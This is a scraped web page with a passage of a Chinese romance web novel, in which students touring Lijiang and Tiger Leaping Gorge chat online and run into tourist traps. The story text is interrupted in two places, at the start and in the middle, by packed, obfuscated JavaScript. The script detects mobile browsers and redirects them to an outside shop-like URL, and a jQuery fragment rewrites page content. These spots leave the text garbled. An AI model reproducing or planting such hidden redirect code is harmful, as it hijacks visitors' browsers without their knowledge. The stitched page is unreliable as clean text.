l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16745709|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然很好奇，但犹豫纠结后，她们还是没敢进去。 乐知世听到胡芮的话，点开冒过好几次的对话框。 【XU：租好车了。】会开车就是了不起，租个车还要炫耀。 【XU：照片.jpg】是大理的天，蓝到让人晕眩。 【XU：人呢？】谢邀，人在丽江玩呢。 …… 【XU：请失踪芝士回归。】 乐知世把脑袋埋在被子里，问胡芮：“许树他们不是自驾吗？能喝酒？” 胡芮被乐知世点醒：“对啊，他们是自驾。” 胡芮直接给周骐骐打视频电话，他还敢接。 “小芮子，带你见世面。”周骐骐把镜头对准台上的男歌手，“这声音真有故事感，唱得我想哭了。” 周骐骐的情绪说来就来，等他把摄像头转到自己脸上时，真挂了两滴泪。 胡芮想骂他的话就这么堵在胸口：“你都没谈过恋爱，瞎感动什么。” “你和许树一样，都是冷漠无情的人。”周骐骐在电话那头喊乐知世，“知世、知世，你听了不感动吗？” 乐知世敢动。 她从被子里伸出个脑袋，冲那头也喊：“许树怎么冷漠无情了？” 胡芮关掉自己这边的摄像头，跳到乐知世床上，和她一起看。 周骐骐揽着许树的肩膀冲向镜头：“谁知道他怎么了，在昆明的时候还好好的，到了大理就给我摆脸色，活像是我欠了他八百万。” 许树穿着件简单的白T，靠在木柱上，躲闪着周骐骐伸过来的手，期间还抬眼看了镜头一瞬。 乐知世和他那一眼对上，觉得自己也欠了他八百万。 早上是胡芮开门，今天乐知世还没见到过许树，这是第一面。 镜头不稳，但许树的颜值是稳的。 乐知世静静地看了一会儿，认可道：“这表情，确实够冷漠无情的。” 她就说了这么句话，后面都是胡芮在和周骐骐在聊。 乐知世躺下，有空给XU回消息了。 【闭眼睛是在思考：大理真好。】 对面像是一直在等她消息似的，秒回。 【XU：丽江不好吗？】 【闭眼睛是在思考：也好。】 今天乐知世发的消息不多，字数也少，和之前简直是两模两样。 许树怀疑是昨天去的鸡鸣寺产生了效果。 但效果太猛，有点副作用。 ——许树不习惯。 【XU：今天话这么少？是不开心吗？】 【闭眼睛是在思考：没有不开心啊，出来旅游开心坏了。】 她和胡芮出去玩了一下午，在古城里面，她的唇角都没落下来过。 为了证明是真的，她还大方地和XU分享一张背影照。 ——跳起来的，像要扑棱到天上的鸟儿。 ——看着是挺高兴。 许树扯了扯嘴角，喝了一口老板极力推荐的招牌，甘涩过后就是苦。 他和周骐骐定的民宿就在附近，结束后可以直接步行回去。 他身旁的周骐骐已经不在认真听歌了，只顾着和胡芮拌嘴。 【XU：我不开心。】 16. 第 16 章 许树是过了很久才发出这条消息。 在酒精和氛围的影响下，人总会冲动地说出一些自己都不清楚的实话。 然而，半个小时过去，手机静悄悄的，连骚扰推销短信都没有收到一条。 在许树第n次摁亮手机时，一旁看得稀奇的周骐骐发言：“树啊，网恋了？这一分钟快看八百遍手机了。” “……”许树把手机揣进兜里，问他，“微信消息发出超过两分钟了还能撤回吗？” 周骐骐哈哈两声笑：“问我你是问对人了。” “以我在网上舌战群雄的经验来看……” “那必然是不能的！” 周骐骐逗人一时爽，等笑够了，发现许树正似笑非笑地看着自己。 周骐骐被他看得心里发毛。 “周骐骐。” “叫我周骐。”叫周骐骐一点都体现不出他的帅气。 “周骐骐。”许树语气刻薄地说出刻薄的话，“但凡你把在网上舌战群雄的时间用在学习上，你的数理化加起来不会低于你的身高。” 周骐骐：“……”这绝对是人身攻击！还是双层的！ 至于那条让许树撤不回的消息—— 乐知世在次日早上才看见。 但看见了她也没时间回。 她和胡芮快要迟到了。 昨晚两人熄灯后，忽然又聊了起来，她们也不知道聊到几点，困到不行才闭嘴睡觉。 而一不小心开了个深夜姐妹聊的结果就是起晚了。 群里的司机说是八点准时来接，乐知世和胡芮七点五十八才到一楼餐厅。 一人拿了一个鸡蛋，便匆匆赶到大堂和杨顺琪、朱佑会合。 “没迟到吧？”乐知世和胡芮瘫在椅子上喘气。 “没有，极限卡点。”杨顺琪把四人的行李箱推到一起。 她们报的这个团是小团，是杨顺琪爸爸精挑细选的当地团。 团里总共就她们四个人，没有陌生人，大家都很轻松。 今天来接她们的司机和昨天接机的司机不是同一个人，个子不高，看上去年纪轻轻，但做事很老派：“你们好，我是你们在丽江和香格里拉的司机兼导游，你们可以叫我李师傅。” 李师傅自我介绍完就开始搬她们的行李箱。 行程里，她们每天都要换酒店。 今天玩完，她们就要入住香格里拉的酒店了。 车子是七人的商务车，她们都在后排坐着。 乐知世在李师傅搬箱子的时候已经把鸡蛋吃完，坐上车后才开始有时间关心昨晚的破碎伤感男孩。 【闭眼睛是在思考：哥，你怎么了？出来玩怎么还不开心上了？被人坑了吗？】 迟来的关心只能得到一句冷冰冰的质问。 【XU：乐芝士，你能不能盼我点好？】 【闭眼睛是在思考：能啊，我希望你天天开心。】 【闭眼睛是在思考：你这是在给我起外号吗？】 【XU：昨天是无意间打错的，但现在觉得和你挺配，所以就这么叫了。】 过了几秒，他又发来一条。 【XU：你不喜欢就不叫了。】 乐知世对此接受良好，因为徐荷清偶尔也会这么叫她。 她龇牙笑了下，觉得这是双胞胎之间的默契。 【闭眼睛是在思考：想叫就叫呗，让你开心下。】 许树的心情并没有多好。 因为乐知世今天也没有和他聊“许树”。 更准确的时间点是，从鸡鸣寺出来后，她就没再问过他“许树”的事情。 最后一条…… 是她还在鸡鸣寺里，问他许树有没有喜欢的人。 鸡鸣寺这么灵吗？ 许树不爽地拽了拽顶部遮阳板的位置，转头看向驾驶位上紧绷着身体的周骐骐，开始嘴毒：“你再开慢点，后面骑自行车的大爷就要追上来了。” “急什么？我这是安全驾驶！”周骐骐瞥了眼后视镜，发现大爷真的要追上来了，终于舍得踩了下油门。 他们在驾校考的是手动挡，但租的车是自动挡。 虽然按理说自动挡应该比手动挡好开，可突然换了个类型，新手司机小周还需要时间适应。 磨磨蹭蹭一路，等他们到达洱海附近时，女生们也到了虎跳峡。 李师傅去替她们买票，四个女生坐在虎跳峡景区门口的一个小卖部外面等。 等待的过程中，载满游客的大巴车一辆又一辆地开进来。 “好多人啊。”朱佑站在边上感慨，“幸好这边没那么热，不然真不敢想多难熬。” “暑假去哪儿人都多。”胡芮拿着昨天在丽江买的防晒喷雾，对准小腿猛喷，喷完冲着其他人晃了两下，“温度不热，但太阳还是挺毒的，来我这里排队喷喷。” 大家都没和她客气，喷雾坐飞机也带不走，是专属云南的消耗用品。 喷完一轮，李师傅终于过来。 “一人扫我七十块钱。”李师傅带着票，顺便递过来手机，上面显示的是收款二维码。 四个女生面面相觑，乐知世把墨镜掀到脑袋上，直接说：“李师傅，我们的团费里好像是包门票的。” 杨顺琪是最清楚的：“是啊。” 憨厚老实的李师傅抿唇笑：“门票是包含的，但这七十块钱是电梯费用，不含在团费里。” “电梯费是什么？”胡芮问。 李师傅和她们解释，虎跳峡的游玩时间只有一上午，如果她们不坐电梯，自己走下去，花的时间久，还有可能影响下午的行程。 “走下去花的时间久？”乐知世问，“正常速度大概需要多长时间？” 李师傅算了算：“两千多个台阶，你们……得花两个小时吧。” 她们是八点出发的，但现在已经十点了。 时间是宝贵的，大家讨论了下，还是决定买电梯票。 不过买归买，乐知世觉得有些事情还是要说清楚的：“李师傅，下次有额外消费，麻烦您提前和我们沟通，不要先斩后奏。” 他出发去买票前，可是半点儿没提电梯票的事情。 李师傅答应得痛快：“行。” 虽说是兼导游，但李师傅是不进景区的。 四个女生也没在意，快快乐乐地挽着手进去。 今天的天气预报是阴天，可现在太阳高高挂起，晴朗得不行。 幸运女孩们刚走没多久，就碰上了虎跳峡景区里面配置的免费导游，戴着耳麦，身上套个红马甲，普通话标准：“再过五分钟就出发。” “跟着听吗？” “听！”不听白不听。 四个靓丽的女孩子还是很招眼的，她们机灵地站在红马甲导游旁边。 别的不说，先刷个脸熟。 等待的这五分钟里面，她们也没闲着，挨个在石栏处拍下游客照。 每个人都是三机位齐享的待遇，拍完秒发到群里。 乐知世缩在阴凉地里看照片。 手机一震。 【XU：这裙子怎么样？】蓝色扎染连衣裙，简直是云南大理的另一特产。 乐知世点开他发过来的照片，她没自恋到以为是要买给自己的。 【闭眼睛是在思考：你妹妹应该不喜欢这种类型。】 徐荷清是辣妹、潮妹，平时的穿搭都是走在时尚前沿的款式，几乎没有这种小清新的裙子。 【XU：……】差点忘记自己的人设。 【XU：彩票的回礼。】 【闭眼睛是在思考：不用啦。】 【闭眼睛是在思考：愿赌服输。】 许树沉着脸琢磨着，就目前鸡鸣寺这“斩孽缘”的效果来看，乐知世大概很快就不喜欢他了。 再观察一段时间，等她彻底放下他，他得尽快把自己的身份纠正过来。 “兄弟，我今天又欠你钱了？”周骐骐端着托盘快步走过来，上面放着两杯咖啡和一块胡萝卜蛋糕，“我就去拿个餐的功夫，你怎么又又又不高兴了？” 两人虽然都喝不惯咖啡，但为了占据最佳观景位，他们还是在这家地理位置超好的咖啡店点了最低消费的饮品和甜点。 许树摸了下自己的脸：“不就是没笑吗？没有不高兴。” 周骐骐不知道信没信，他拿着手机对准窗外的风景一通乱拍，拍完就全发给胡芮。 叮铃啷当的提示音吵得胡芮烦死。 “这个周骐骐！”胡芮无语道，“一模一样的照片为什么要发给我几十张？” “他们去哪里了？”乐知世状似无意地问了句。 胡芮大方地把手机递给她看：“在咖啡店里装文艺青年呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16745710|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“额……”乐知世看着这照片，嘴边早就准备好的夸赞又咽了下去，“周骐骐的拍照技术挺……好歹是张照片。” “再美的东西进了他的眼里都是被糟蹋。”胡芮扶额，“他能把我拍成原始人。” 免费导游的讲解很快到了尾声。 在一处挂着很多木牌的地方，他们停下。 “这些都是祈福牌，是非常灵的，而且不是人人都能求的，只有——”那导游声音轻了些，很快又变大，“我们感谢你们，因为有你们来我们这里玩，我们这里才能发展起来。” “……以前我们这里是很穷的，大家的日子都是过得很苦的，多亏有国家、有你们的帮助，我们这里变得更好。我们懂得感恩，所以为了感谢你们，你们都可以在这里向神山石祈福，每次有风吹过，都是一次祈福。” 虎跳峡的水势是很汹猛的，这么滚过，卷起的风吹得头顶的祈福牌阵阵作响。 再加上导游的话，怪唬人的。 四个女生跟着人群排队，等着去接她们的“福气”。 队伍好排，但福气不是那么好接的。 “一个牌六十块钱，四个二百四，去那边付钱。” 牌子是先塞进手里，才说的价格。 四人没想到这福气是收费的，朱佑站在最前面，把牌子又递过去：“要钱就算了。” “接过去的祈福牌不能退，退了福气就散了，会倒霉的。” 四人：“……” 她们自然不是迷信的人，但年纪还小，第一次面对这种状况，有些不知所措。 尤其是朱佑，她手里还握着四个牌子，扔下也不敢，全买下也不愿意。 乐知世站在她身后，小声劝：“这东西就是信则有、不信则无，不信就直接放下，我们走就行。” 胡芮扫了眼在旁边盯着的导游，也凑近：“感觉是套路呢。” 朱佑：“万一扔下真的变倒霉怎么办？我有点相信，但不想买那么多，二百四买这些，也太贵了。” 另外三人都不知道该怎么办才好。 毕竟现在排在最前面、拿着烫手山芋的人不是她们，是朱佑。 “佑佑，我们一人买两块祈福牌，你先拿着一起去付钱，我现在把钱转你。”乐知世出声。 胡芮：“不行，我也要买一块。” “我们一人一块好了，大家一起接福气。”杨顺琪也站出来。 朱佑是个很感性的女生，眼睛一眨差点落泪时，乐知世幽幽地开口：“接福气可不能哭。” 一句话愣是让朱佑把眼泪憋回去了。 她是真的有点信。 大家把钱转给朱佑后，都当作什么事情都没发生过，开开心心地吵着要找一个最好的位置挂上。 “福气福气，快点降临到我们头上！”胡芮双手合十，还拜了拜。 乐知世好笑道：“你这是乱拜。” 胡芮毫不在意，一手拽一个姐妹：“哎呀，心诚则灵，方式不重要。” 再走不远，就到了“老虎”的位置。 景区在虎头前面提供免费拍照服务，不过，无论是单人还是一群人，都只能拍一次。 她们正愁着没人帮忙拍合照，在旁边观察了一会儿确定真的不收钱后，立刻排队过去。 领完号，到了工作人员说的地址。 ——二十元一张大照片。 ——免费的是比证件照还小的相纸。 …… 【闭眼睛是在思考：感觉我们把景区里所有能踩的坑，都踩了一遍。】 【XU：还能识别出是坑？那就没白玩。】 乐知世抬头，刚出发时大家还有心情聊天，现在都坐在车里安安静静地玩手机。 垂眸打字。 【闭眼睛是在思考：嗯，这次吸取经验，下次一定不踩。】 【闭眼睛是在思考：对了，你的心情有没有变好些？】 本来是没有变好的。 但现在看到这句话，许树的嘴角上扬了些。 【XU：还行吧。】 出来玩的兴奋感淡去一半，乐知世终于想起许树。 见XU心情转好，她无声地叹了口气，和他倾诉自己的少女心事。 【闭眼睛是在思考：哥。】 【闭眼睛是在思考：我觉得，许树好像知道我喜欢他了。】